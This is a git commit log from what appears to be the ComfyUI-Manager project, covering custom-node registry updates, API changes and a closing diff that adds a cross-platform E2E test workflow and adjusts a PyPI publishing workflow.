2025-09-22 07:14:53 +09:00
Dr.Lt.Data a58d5f6999 update DB 2025-09-21 12:03:39 +09:00
Dr.Lt.Data e0b3f3eb45 update DB 2025-09-20 07:50:52 +09:00
Dr.Lt.Data 4bbc8594a7 update DB 2025-09-19 18:05:57 +09:00
Dr.Lt.Data 1ab2b1aeb3 modified: Reflection of changing --disable-manager to --enable-manager 2025-09-19 11:58:04 +09:00
Dr.Lt.Data 3a377300e1 update DB 2025-09-19 07:57:39 +09:00
SBCODEandDr.Lt.Data 33a07e3a86 add ComfyUI Virtual Webcam to custom-node-list.json (#2161)
* Added ComfyUI Virtual Webcam plugin to custom-node-list.json

The ComfyUI Virtual Webcam allows you to stream your ksampler output images to a webcam driver

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-19 07:27:21 +09:00
Dr.Lt.Data 212cafc1d7 update DB 2025-09-18 12:45:47 +09:00
Leylah 2643b3cbcc Update author and reference for ComfyUI-Violet-Tools (#2159) 2025-09-18 07:38:32 +09:00
Dr.Lt.Data d445229b6d update DB 2025-09-17 12:54:06 +09:00
Dr.Lt.Data dab5c451b0 update DB 2025-09-17 07:37:39 +09:00
Dr.Lt.Data 7bdf06131a update DB 2025-09-17 06:44:45 +09:00
LeechKing 854648d5af Add Danbooru FAISS Search Node to custom-node-list (#2157) 2025-09-17 06:43:55 +09:00
Dr.Lt.Data c5f7b97359 update DB 2025-09-17 06:43:39 +09:00
Aaalice dd8a727ad6 Update custom-node-list.json (#2154) 2025-09-17 06:42:10 +09:00
Dr.Lt.Data 6c627fe422 update DB 2025-09-17 06:41:49 +09:00
dehypnotic ee980e1caf Update custom-node-list.json (#2153) 2025-09-17 06:39:29 +09:00
Semonxue 22bfaf6527 Add ComfyUI FlexAI Nodes to custom-node-list (#2149)
Added a new node for ComfyUI FlexAI with detailed description.
2025-09-17 06:35:58 +09:00
Dr.Lt.Data 48ab48cc30 fixed: more complete uv support
* Previously, only `uv` installed inside a venv was properly handled. Now `uv` installed outside the venv is also supported.
* Even if `use_uv=False`, `uv` is used as a fallback when `pip` is unavailable.
* Even if `use_uv=True`, `pip` is used as a fallback when `uv` is unavailable.

https://github.com/Comfy-Org/ComfyUI-Manager/issues/2125
2025-09-17 06:28:06 +09:00
Dr.Lt.Data a0b14d4127 update DB 2025-09-16 12:39:14 +09:00
Dr.Lt.Data 03f9fe1a70 update DB 2025-09-16 07:44:02 +09:00
Jonnathan Nakagawa 8915b8d796 Add custom node: comfyui_nakagawa for websocket video data handling (#2151) 2025-09-16 06:36:09 +09:00
Dr.Lt.Data c77ffeeec0 update DB 2025-09-15 12:52:43 +09:00
Dr.Lt.Data 4acf5660b2 fixed: broken db 2025-09-15 08:11:56 +09:00
Dr.Lt.Data 2d9f0a668c update DB 2025-09-15 07:41:30 +09:00
S4MUELandDr.Lt.Data 9e6cb246cc Update ComfyUI-S4Tool-Image to custom_nodes list (#2150)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion

* Add ComfyUI-S4Tool-Text to custom node list

Text rendering and styling nodes for ComfyUI. This extension provides a basic text renderer, multiple font loaders, and a style node that adds stroke, shadow, gradient fill, and opacity control.

* Add ComfyUI-Prepack to custom node list

A small, practical bundle of ComfyUI nodes that streamlines common workflows.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-15 07:01:27 +09:00
Dr.Lt.Data 14544ca63d update DB 2025-09-14 08:21:21 +09:00
fr0nky0ng 26b347c04c Add custom node: ComfyUI-Face-Comparator (#2147) 2025-09-14 08:20:23 +09:00
Dr.Lt.Data 36f75d1811 update DB 2025-09-13 15:55:25 +09:00
Dr.Lt.Data ffaeb6d3ff from draft-v4 to manager-v4 2025-09-13 08:07:44 +09:00
Dr.Lt.Data 6cc1ad4cc0 Merge branch 'main' into draft-v4 2025-09-13 08:06:45 +09:00
Dr.Lt.Data 27fc787294 update DB 2025-09-13 08:06:27 +09:00
snicolast d23286d390 IndexTTS2 custom node (custom-node-list.json) (#2146) 2025-09-13 07:36:18 +09:00
Dr.Lt.Data 7c3ccc76c3 update DB 2025-09-12 12:48:20 +09:00
Dr.Lt.Data 892dc5d4f3 update DB 2025-09-12 07:53:17 +09:00
Dr.Lt.Data e278692749 update DB 2025-09-11 12:36:38 +09:00
Dr.Lt.Data 8d77dd2246 update DB 2025-09-11 07:23:42 +09:00
Dr.Lt.Data 14ede2a585 update DB 2025-09-10 11:58:27 +09:00
Dr.Lt.Data 5b525622f1 update DB 2025-09-10 07:52:05 +09:00
Dr.Lt.Data a24b11905c update DB 2025-09-09 12:19:49 +09:00
darkamenosa 5d70858341 Add Comfy Nano Banana - Interact directly with Gemini API using your own API key, also add custom batch images node to avoid chaining a lot of nodes (#2141) 2025-09-09 07:39:31 +09:00
dehypnotic 3daa006741 Update custom-node-list.json (#2140) 2025-09-09 07:39:18 +09:00
Dr.Lt.Data 0bcc0c2101 update DB 2025-09-08 12:31:06 +09:00
Dr.Lt.Data b8850c808c update DB 2025-09-08 07:47:24 +09:00
Dr.Lt.Data f4f2c01ac1 update DB 2025-09-08 06:40:55 +09:00
Dr.Lt.Data 7072e82dff update DB 2025-09-08 06:38:52 +09:00
Leylah Krell 53dc36c4cf Add ComfyUI Violet Tools to custom node list (#2136)
Added aesthetic-focused custom nodes package with 7 specialized nodes:
- Aesthetic Alchemist (style blending with 20+ curated aesthetics)
- Quality Queen (quality prompts)
- Glamour Goddess (hair/makeup)
- Body Bard (body features)
- Pose Priestess (positioning)
- Encoding Enchantress (text processing)
- Negativity Nullifier (negative prompts)

Features weighted blending, randomization, and modular YAML-based configuration.
2025-09-08 06:37:00 +09:00
Satadal Dhara 5aadc3af00 Updated Node List with My node (#2134) 2025-09-06 03:55:06 +09:00
Dr.Lt.Data 8c28a698ed update DB 2025-09-06 03:54:56 +09:00
Dr.Lt.Data 5ed6d8b202 update DB 2025-09-06 03:53:56 +09:00
Vantage with AI b73dc7bf5e Changed name of node from ComfyUI-HunyuanFoley to Vantage-HunyuanFoley because of conflict. (#2130)
* Update custom-node-list.json

* Update custom-node-list.json
2025-09-06 03:51:08 +09:00
Dr.Lt.Data d7799964de fixed: Issue where an invalid channel exception occurred when using the default channel
- Mismatch issue between ltdrdata/ and Comfy-Org/
modified: /v2/customnode/installed – cnr_id was being returned in a normalized form
modified: /v2/customnode/installed – when both an enabled nodepack and a disabled nodepack existed, modified to report only the enabled nodepack
fixed: Removed unnecessary warning messages printed during nodepack installation
2025-09-06 03:35:43 +09:00
Dr.Lt.Data 71d0f4ab63 update DB 2025-09-05 12:56:40 +09:00
Dr.Lt.Data d479dcde81 update DB 2025-09-05 07:53:04 +09:00
Dr.Lt.Data ae536017d5 update DB 2025-09-05 07:49:12 +09:00
matthewfriedrichs 67ddfce279 adding thought bubble custom node (#2129) 2025-09-05 07:48:06 +09:00
Vantage with AI b1f39b34d7 Update custom-node-list.json (#2128) 2025-09-05 07:47:26 +09:00
Dr.Lt.Data 6cf958ccce udpate DB 2025-09-04 12:22:45 +09:00
Dr.Lt.Data 5378f0a8e9 bump version 2025-09-04 08:39:37 +09:00
Jin Yi e13bf68775 Fix JSON serialization error in bulk import fail info API (#2119)
* fix: import failed info bulk api bug fix

* fix: Remove unused ImportFailInfoBulkResponse import
2025-09-04 08:36:46 +09:00
Dr.Lt.Data eaed3677d3 update DB 2025-09-04 07:27:31 +09:00
sumitchatterjee13 b9c88da54d Add Nuke Nodes for ComfyUI to registry (#2123)
This PR adds nuke-nodes-comfyui to the ComfyUI Manager registry.

Features:
- Professional compositing nodes replicating Nuke functionality
- 15+ nodes including merge, grade, transform, and blur operations
- Designed for professional compositing workflows in ComfyUI
- Well-documented with installation instructions

Repository: https://github.com/sumitchatterjee13/nuke-nodes-comfyui
2025-09-04 07:23:48 +09:00
Dr.Lt.Data 104ae77f7a update DB 2025-09-03 12:12:40 +09:00
Dr.Lt.Data bfcb2ce61b update DB 2025-09-03 07:40:58 +09:00
Dr.Lt.Data d970fe68ea Merge branch 'main' into draft-v4 2025-09-03 01:24:47 +09:00
Dr.Lt.Data 63ba5fed09 update DB 2025-09-03 01:07:30 +09:00
Dr.Lt.Data 98a8464933 update DB 2025-09-03 00:16:55 +09:00
S4MUELandDr.Lt.Data 7e3e6726e0 Add ComfyUI-Prepack to custom nodes list (#2121)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion

* Add ComfyUI-S4Tool-Text to custom node list

Text rendering and styling nodes for ComfyUI. This extension provides a basic text renderer, multiple font loaders, and a style node that adds stroke, shadow, gradient fill, and opacity control.

* Add ComfyUI-Prepack to custom node list

A small, practical bundle of ComfyUI nodes that streamlines common workflows.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-03 00:15:49 +09:00
Dr.Lt.Data 09567b2bb2 update DB 2025-09-03 00:15:34 +09:00
Frief84andDr.Lt.Data f3bd116184 Add ComfyUI-LoRAWeightAxisXY (#2120)
* Add ComfyUI-LoRAWeightAxisXY

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-09-03 00:12:50 +09:00
Dr.Lt.Data 7509737563 update DB 2025-09-02 12:59:44 +09:00
Dr.Lt.Data cfb815d879 update DB 2025-09-01 12:05:21 +09:00
Dr.Lt.Data 44241fb967 update DB 2025-09-01 07:31:34 +09:00
mengqin c4b45129bd Update DB. (#2118) 2025-09-01 06:53:35 +09:00
Dr.Lt.Data 70741008ca Update DB 2025-08-31 18:11:54 +09:00
daehwa 6c2d2cae2a Add ComfyUI-NanoBananaAPI node entry (#2115) 2025-08-31 17:22:18 +09:00
gsusgg 28f13d3311 Add ComfyUI-CozyGen custom node entry (#2113)
Added a new custom node entry for ComfyUI-CozyGen with details.
2025-08-31 17:20:43 +09:00
Dr.Lt.Data 4e31aaa8fb update DB 2025-08-30 10:47:43 +09:00
dehypnotic ba99f0c2cc Update custom-node-list.json (#2112) 2025-08-30 10:41:28 +09:00
Dr.Lt.Data e0a96b4937 update DB 2025-08-29 13:00:32 +09:00
Dr.Lt.Data 82c055f527 update DB 2025-08-29 07:59:21 +09:00
Makki Shizu f94008192c Update custom-node-list.json (#2110) 2025-08-29 07:47:26 +09:00
Fabio Sarracino 3895d5279e Add VibeVoice ComfyUI node (#2109) 2025-08-29 07:45:41 +09:00
Dr.Lt.Data 41be94690f bump version 2025-08-28 00:27:03 +09:00
Dr.Lt.Data 3d85ecc525 update DB 2025-08-28 00:25:45 +09:00
Dr.Lt.Data 7da00796e5 update DB 2025-08-27 12:21:31 +09:00
Dr.Lt.Data 6086419cb6 update DB 2025-08-27 07:51:36 +09:00
Dr.Lt.Data 5bc1f2f2c0 update DB 2025-08-26 19:39:38 +09:00
ChangrzandWhiteGiven 32a83b211e Update Rodin Plugin url (#2102)
Co-authored-by: WhiteGiven <c15838568211@163.com>
2025-08-26 19:03:05 +09:00
Alex bead7b3a7f Add Custom Node - Save Checkpoint with Metadata (#2105)
* Added entry for ComfyUI-SaveCheckpointWithMetadata

* Added entry for ComfyUI-SaveCheckpointWithMetadata in git-clone section
2025-08-26 19:01:52 +09:00
jialuw0830 815d6d6572 Add Eigen AI FLUX API Plugin to custom node list (#2104) 2025-08-26 18:59:51 +09:00
Christian Byrne fbecbee4c3 Merge pull request #2106 from viva-jinyi/revert-legacy-hardcoding
Revert "As a temporary measure, the new UI will use the legacy/... ba…
2025-08-25 18:27:57 -07:00
Jin Yi b9a7d2a78c Revert "As a temporary measure, the new UI will use the legacy/... backend structure."
This reverts commit 121a5a1888.
2025-08-26 10:07:32 +09:00
Dr.Lt.Data 95ce812992 update DB 2025-08-25 12:59:46 +09:00
Dr.Lt.Data 9a36f4748c update DB 2025-08-25 08:06:43 +09:00
Dr.Lt.Data 50b7849a35 update DB 2025-08-25 07:27:39 +09:00
Dr.Lt.Data 6f1245b27c update DB 2025-08-25 06:30:51 +09:00
dehypnoticandDr.Lt.Data cc87ed3899 Update custom-node-list.json (#2097)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-08-25 06:28:06 +09:00
Dr.Lt.Data 1d9037fefe update DB 2025-08-25 06:27:46 +09:00
Daxamur 03016e2d16 Add DaxNodes to custom node list (#2100) 2025-08-25 06:26:28 +09:00
Dr.Lt.Data bdfb70a58a bump version 2025-08-24 15:58:23 +09:00
Dr.Lt.Data 3d41617f4e update DB 2025-08-23 17:54:00 +09:00
Dr.Lt.Data 35151ffdd1 update DB 2025-08-23 09:20:01 +09:00
Dr.Lt.Data 4527d41a7a update DB 2025-08-22 21:13:29 +09:00
dehypnoticandDr.Lt.Data 553cba12f3 Update custom-node-list.json (#2096)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-08-22 20:54:35 +09:00
Dr.Lt.Data 00fb9c88e1 modified: remove matrix-nio dependency from the requirements.txt
modified: The matrix share feature is now only available when the `matrix-nio` dependency is installed.

If `matrix-nio` is not installed:
1. Apply a strikethrough to the matrix checkbox text in the share UI and display a tooltip.
2. A warning is logged at startup indicating that `matrix-nio` is missing, along with the installation command.

fixed: Corrected an issue where PR #2025 was merged into draft-v4 but applied only to `legacy/..` and not to `glob/..`
2025-08-22 20:46:32 +09:00
Dr.Lt.Data 116e068ac3 update DB 2025-08-22 12:41:08 +09:00
Dr.Lt.Data 1010dd2d28 update DB 2025-08-22 07:35:26 +09:00
Dr.Lt.Data 68bc8302fd Update publish-to-pypi.yml 2025-08-22 06:17:55 +09:00
Dr.Lt.Data 596dad5cda Update publish-to-pypi.yml 2025-08-22 06:14:51 +09:00
Dr.Lt.Data a924c280fb Update publish-to-pypi.yml 2025-08-22 06:08:59 +09:00
Dr.Lt.Data 7354242906 update workflow 2025-08-22 06:05:27 +09:00
Dr.Lt.Data 3d0bcf5979 update workflow 2025-08-22 06:00:26 +09:00
Dr.Lt.Data e7d0b158e9 update DB 2025-08-22 05:41:35 +09:00
Dr.Lt.Data 10ff90787c Merge branch 'main' into draft-v4 2025-08-21 12:48:17 +09:00
Dr.Lt.Data 330c4657b1 update DB 2025-08-21 12:25:20 +09:00
Dr.Lt.Data 72a109f109 update DB 2025-08-21 07:29:53 +09:00
licyk cf45c51dfb Add HDM-ext to custom-node-list (#2094) 2025-08-21 06:52:09 +09:00
Dr.Lt.Data 0b013adb34 update DB 2025-08-20 12:24:39 +09:00
Dr.Lt.Data 7457d91f64 update DB 2025-08-20 07:44:09 +09:00
Dr.Lt.Data 7fe1159426 update DB 2025-08-20 05:23:08 +09:00
renderartistandDr.Lt.Data c2665e3677 Update custom-node-list.json (#2091)
* Update custom-node-list.json

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-08-20 05:10:13 +09:00
Dr.Lt.Data d63de803a4 update DB 2025-08-20 04:02:02 +09:00
Dr.Lt.Data 11aca3513c update DB 2025-08-20 03:53:51 +09:00
Joel Andrés Navarro Navarro 561c9f40e5 Update custom-node-list.json (#2089) 2025-08-20 03:49:46 +09:00
Saquib Alam 54ed13aadf add nodes for omini-kontext framework (#2087) 2025-08-20 03:47:56 +09:00
Dr.Lt.Data 109cc21337 update DB 2025-08-19 07:48:17 +09:00
Dr.Lt.Data 7e46b30fa5 update DB 2025-08-18 12:33:30 +09:00
Dr.Lt.Data 0ba112c2c7 update DB 2025-08-18 07:47:41 +09:00
david fc15d94170 Update custom-node-list.json (#2086) 2025-08-18 07:38:28 +09:00
Dr.Lt.Data dcb37d9c55 update DB 2025-08-17 18:23:05 +09:00
Marco Zanella 755b9d6342 Add ComfyUI-BooleanExpression to custom-node-list (#2084) 2025-08-17 17:53:24 +09:00
Joel Andrés Navarro Navarro 3d6151c94f Update custom-node-list.json (#2085) 2025-08-17 17:51:20 +09:00
jupo-ai 590bd8c4b9 Update custom-node-list.json (#2083) 2025-08-17 07:05:03 +09:00
Dr.Lt.Data e99aafd876 update DB 2025-08-16 10:26:33 +09:00
Dr.Lt.Data 1f0adf8bcf update DB 2025-08-16 09:53:13 +09:00
jupo-ai dbd5d5fb43 Update custom-node-list.json (#2082)
* Update custom-node-list.json

* Update custom-node-list.json
2025-08-16 09:36:35 +09:00
Dr.Lt.Data a8b0e3641b update DB 2025-08-15 10:13:33 +09:00
AfterGlow.SYX 9efb350be9 Update custom-node-list.json (#2081) 2025-08-15 10:08:10 +09:00
Dr.Lt.Data 8d9820b3fb update DB 2025-08-14 23:24:08 +09:00
Dr.Lt.Data 103f89551a update DB 2025-08-14 22:00:23 +09:00
Dr.Lt.Data 6030d961ad update DB 2025-08-14 12:01:24 +09:00
Dr.Lt.Data ee08c9e17f update DB 2025-08-14 07:42:41 +09:00
Dr.Lt.Data 48dd9a3240 update DB 2025-08-14 02:35:34 +09:00
Baverne e122e206a6 Add TiledWan (#2078)
* Add TiledWan

* Add TiledWan

* Add TiledWan
2025-08-14 02:21:37 +09:00
Dr.Lt.Data 398b905758 update DB 2025-08-13 12:12:36 +09:00
Dr.Lt.Data dc2ec08fe3 update DB 2025-08-13 07:44:54 +09:00
Dr.Lt.Data 3bf5edf5c9 update DB 2025-08-12 10:34:55 +09:00
Dr.Lt.Data 134bca526c update DB 2025-08-12 09:52:15 +09:00
Dr.Lt.Data 3393e58b06 update DB 2025-08-11 22:52:13 +09:00
Dr.Lt.Data 648d7e73c6 Merge branch 'main' into draft-v4 2025-08-11 12:51:34 +09:00
Dr.Lt.Data eab6cdeee4 bump version 2025-08-11 12:48:38 +09:00
Christian Byrne e8ec1ce8e3 recurse when finding nodes in workflow (#2070) 2025-08-11 12:47:20 +09:00
Dr.Lt.Data b3581564ed update DB 2025-08-11 12:28:12 +09:00
S4MUEL 29e1bd95fd Add ComfyUI S4Motion to custom-node-list.json (#2072)
* Add ComfyUI-S4Tool-Image to custom nodes list

Add ComfyUI-S4Tool-Image to custom nodes list

* Update custom-node-list.json

Add custom-node : ComfyUI-S4Motion
2025-08-11 12:23:16 +09:00
Dr.Lt.Data 8bff401c14 update DB 2025-08-11 08:47:56 +09:00
Dr.Lt.Data 41798e9255 update DB 2025-08-11 07:44:25 +09:00
Dr.Lt.Data 9e4f0228d1 update DB 2025-08-10 20:54:49 +09:00
Dr.Lt.Data 76ee93c98c update DB 2025-08-10 11:25:27 +09:00
ericKuang fb1a89efb7 Update custom-node-list.json (#2068)
Add ComfyUI-Only node:
Pain Point Solved: Eliminates the need to manually move .latent files into the ComfyUI input directory.
2025-08-10 11:16:32 +09:00
Dr.Lt.Data aface43554 update DB 2025-08-10 11:02:38 +09:00
Dr.Lt.Data a35f0157b2 update DB 2025-08-10 10:20:57 +09:00
Dr.Lt.Data 9b32162906 update DB 2025-08-09 15:13:30 +09:00
Dr.Lt.Data 21bba62572 update DB 2025-08-09 12:35:05 +09:00
Dr.Lt.Data 302327d6b3 update DB 2025-08-09 07:54:04 +09:00
Dr.Lt.Data 5667e8bcbb update DB 2025-08-08 23:13:50 +09:00
Dr.Lt.Data ae66bd0e31 update DB 2025-08-08 12:15:46 +09:00
Dr.Lt.Data 48dfadc02d update DB 2025-08-08 07:54:54 +09:00
Dr.Lt.Data 3df6272bb6 update DB 2025-08-08 07:37:49 +09:00
CY-CHENYUE e7f9bcda01 Update custom-node-list.json (#2064) 2025-08-08 07:35:24 +09:00
Dr.Lt.Data 205044ca66 update DB 2025-08-07 12:19:21 +09:00
Dr.Lt.Data d497eb1f00 update DB 2025-08-07 08:42:22 +09:00
Dr.Lt.Data 4e6f970ee9 update DB 2025-08-06 12:14:25 +09:00
Dr.Lt.Data 0b6cdda6f5 update DB 2025-08-06 08:59:45 +09:00
Dr.Lt.Data a896ded763 update DB 2025-08-06 07:26:55 +09:00
Dr.Lt.Data fb5dd9ebc2 update DB 2025-08-05 12:24:03 +09:00
Dr.Lt.Data c8b7db6c38 update DB 2025-08-05 08:57:36 +09:00
Dr.Lt.Data 44a3191be3 update DB 2025-08-05 07:16:04 +09:00
Dr.Lt.Data b4f7cdc9e7 update DB 2025-08-05 06:20:52 +09:00
Alex FurerandDr.Lt.Data 8da07018d5 Update custom-node-list.json (#2058)
* Update custom-node-list.json

Added my custom node "AF-EditGeneratedPrompt", which let's one pipe a generated prompt, edit it, or use the node as a regular prompting node. Thank you for your efforts!

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-08-05 06:19:40 +09:00
Dr.Lt.Data 0c19a27065 update DB 2025-08-04 20:13:27 +09:00
3296b0ecdf Add ComfyUI Gemini Nodes by jqy-yo (#2057)
Add entry for comfyui-gemini-nodes - a collection of custom nodes for integrating Google Gemini API with ComfyUI, providing AI capabilities for text generation, image generation, and video analysis.

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-authored-by: jqy-yo <jqy-yo@users.noreply.github.com>
Co-authored-by: Claude <noreply@anthropic.com>
2025-08-04 19:58:59 +09:00
Uygar 0a07261124 Update custom-node-list.json (#2055) 2025-08-04 12:12:13 +09:00
Dr.Lt.Data 33106d0ecf update DB 2025-08-04 12:10:52 +09:00
Novice_Chen 5bb887206a add new node:ComfyUI-XingLiu (#2040) 2025-08-04 12:09:22 +09:00
Dr.Lt.Data b30b0e27cb update DB 2025-08-04 08:59:56 +09:00
Dr.Lt.Data 363736489c update DB 2025-08-04 08:59:40 +09:00
Dr.Lt.Data 8dbf5e87a0 update DB 2025-08-04 07:39:25 +09:00
Dr.Lt.Data 0b30f2cb50 update DB 2025-08-04 07:02:06 +09:00
Brekel ba5265dac4 Update custom-node-list.json (#2054)
Add ComfyUI-Brekel
2025-08-04 06:16:37 +09:00
Dr.Lt.Data ecb9c65917 update DB 2025-08-04 06:16:24 +09:00
jupo-ai 8a98474600 Update custom-node-list.json (#2051) 2025-08-04 06:09:28 +09:00
Radiating Reverberations b072216e67 Add Wan2.2 models from Comfy-Org (#2050) 2025-08-04 06:08:44 +09:00
Dr.Lt.Data cfb3181716 update DB 2025-08-02 08:03:23 +09:00
Dr.Lt.Data ab684cdc99 update DB 2025-08-01 12:22:27 +09:00
Dr.Lt.Data facadc3a44 update DB 2025-08-01 07:29:09 +09:00
Christian Byrne f599bc22d7 Merge pull request #2047 from viva-jinyi/feat/pydantic-validation-bulk-api
Add Pydantic validation to import_fail_info_bulk endpoint
2025-07-31 12:34:20 -07:00
Dr.Lt.Data 281319d2da update DB 2025-08-01 00:08:52 +09:00
Simlym 5cb203685c Update custom-node-list.json (#2045) 2025-07-31 23:44:48 +09:00
Jin Yi 300c6e7406 feat: Add Pydantic validation to import_fail_info_bulk endpoint
- Regenerated Pydantic models from updated OpenAPI specification
- Updated import_fail_info_bulk route handler to use ImportFailInfoBulkRequest/Response models
- Replaced manual JSON validation with Pydantic model validation
- Added proper error handling with ValidationError
- Updated data_models/__init__.py to export new models

Following the process outlined in data_models/README.md for type safety and consistency.
2025-07-31 14:15:21 +09:00
Dr.Lt.Data 9c4d6a0773 Merge branch 'main' into draft-v4 2025-07-31 12:44:02 +09:00
Dr.Lt.Data 01fa37900b update DB 2025-07-31 12:32:47 +09:00
Dr.Lt.Data edbe744e17 update DB 2025-07-31 07:57:27 +09:00
Jin Yi 2a32a1a4a8 Add bulk API endpoint for import fail info (#2039)
* feat(api): Implement endpoint for bulk import failure info

Adds the `/v2/customnode/import_fail_info_bulk` endpoint to allow
fetching multiple import error statuses in a single request.

* chore(api): Update OpenAPI spec for new bulk endpoint

Adds the `import_fail_info_bulk` route and its corresponding
request/response schemas to `openapi.yaml`.
2025-07-31 07:43:49 +09:00
Dr.Lt.Data 404bdb21e6 update DB 2025-07-30 18:39:08 +09:00
PD19 Anime b260c9a512 Update custom-node-list.json (#2044) 2025-07-30 18:33:29 +09:00
Yuan-Man 4b941adb6a Add ComfyUI-SkyworkUniPic (#2043) 2025-07-30 18:32:15 +09:00
copusDevandjohn bd752550a8 feat: change web icon (#2042)
Co-authored-by: john <john@server31.io>
2025-07-30 18:31:56 +09:00
Dr.Lt.Data b8b71bb961 update DB 2025-07-30 12:16:25 +09:00
Kevin Lin 5aaf7a4092 Update custom node listing (#2041) 2025-07-30 12:03:28 +09:00
Dr.Lt.Data 030e02ffb8 update DB 2025-07-30 08:57:38 +09:00
60746c6253 [feat] Add bulk import failure info API endpoint (#2035)
* [feat] Add bulk import failure info API endpoint

- Add import_fail_info_bulk endpoint to both glob and legacy manager servers
- Supports bulk processing of cnr_ids and urls arrays in single request
- Maintains same error handling pattern as original import_fail_info API
- Reduces API calls from N to 1 for conflict detection optimization
- Validates input parameters and provides proper error responses

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>

* modified: remove manager button completely. Now, even when using the legacy UI, it must always be accessed through the menu.

* chore(api): Add temporary cache reload for import_fail_info_bulk

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
2025-07-30 07:57:19 +09:00
Dr.Lt.Data d962aa03f4 update DB 2025-07-30 07:37:26 +09:00
Dr.Lt.Data 121a5a1888 As a temporary measure, the new UI will use the legacy/... backend structure.
The glob/... version will be applied later after the cacheless implementation is completed.
2025-07-30 01:13:17 +09:00
Dr.Lt.Data 9e4a2aae43 update DB 2025-07-30 00:02:30 +09:00
rainlizardandDr.Lt.Data ee6eb685e7 Add Whirlpool Upscaler (#2037)
* Added Whirlpool Upscaler

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-07-29 23:52:57 +09:00
Dr.Lt.Data 09a38a32ce update DB 2025-07-29 21:30:45 +09:00
Android zhang d13b19d43d Update custom-node-list.json (#2036)
Add ComfyUI-MoGe2
2025-07-29 21:02:18 +09:00
134 changed files with 77944 additions and 14716 deletions
+74
View File
@@ -0,0 +1,74 @@
name: "E2E Tests on Multiple Platforms"
on:
push:
branches: [main, feat/*, fix/*]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
pull_request:
branches: [main]
paths:
- "comfyui_manager/**"
- "cm_cli/**"
- "tests/e2e/**"
- ".github/workflows/e2e.yml"
workflow_dispatch:
permissions:
contents: read
jobs:
e2e:
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
runs-on: ${{ matrix.os }}
timeout-minutes: 15
env:
PYTHONIOENCODING: "utf8"
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python-version: ["3.10"]
steps:
- name: Check out code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install uv
uses: astral-sh/setup-uv@v4
- name: Set E2E_ROOT
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
else
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
fi
- name: Setup E2E environment
shell: bash
env:
MANAGER_ROOT: ${{ github.workspace }}
run: |
python tests/e2e/scripts/setup_e2e_env.py
- name: Run E2E tests
shell: bash
run: |
if [[ "$RUNNER_OS" == "Windows" ]]; then
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
else
VENV_PY="$E2E_ROOT/venv/bin/python"
fi
uv pip install --python "$VENV_PY" pytest pytest-timeout
"$VENV_PY" -m pytest tests/cli/test_uv_compile.py -v -s --timeout=300
+16 -16
View File
@@ -4,7 +4,7 @@ on:
workflow_dispatch:
push:
branches:
- main
- manager-v4
paths:
- "pyproject.toml"
@@ -21,7 +21,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.9'
python-version: '3.x'
- name: Install build dependencies
run: |
@@ -31,28 +31,28 @@ jobs:
- name: Get current version
id: current_version
run: |
CURRENT_VERSION=$(grep -oP 'version = "\K[^"]+' pyproject.toml)
CURRENT_VERSION=$(grep -oP '^version = "\K[^"]+' pyproject.toml)
echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT
echo "Current version: $CURRENT_VERSION"
- name: Build package
run: python -m build
- name: Create GitHub Release
id: create_release
uses: softprops/action-gh-release@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: dist/*
tag_name: v${{ steps.current_version.outputs.version }}
draft: false
prerelease: false
generate_release_notes: true
# - name: Create GitHub Release
# id: create_release
# uses: softprops/action-gh-release@v2
# env:
# GITHUB_TOKEN: ${{ github.token }}
# with:
# files: dist/*
# tag_name: v${{ steps.current_version.outputs.version }}
# draft: false
# prerelease: false
# generate_release_notes: true
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc
with:
password: ${{ secrets.PYPI_TOKEN }}
skip-existing: true
verbose: true
verbose: true
-25
View File
@@ -1,25 +0,0 @@
name: Publish to Comfy registry
on:
workflow_dispatch:
push:
branches:
- main-blocked
paths:
- "pyproject.toml"
permissions:
issues: write
jobs:
publish-node:
name: Publish Custom Node to registry
runs-on: ubuntu-latest
if: ${{ github.repository_owner == 'ltdrdata' || github.repository_owner == 'Comfy-Org' }}
steps:
- name: Check out code
uses: actions/checkout@v4
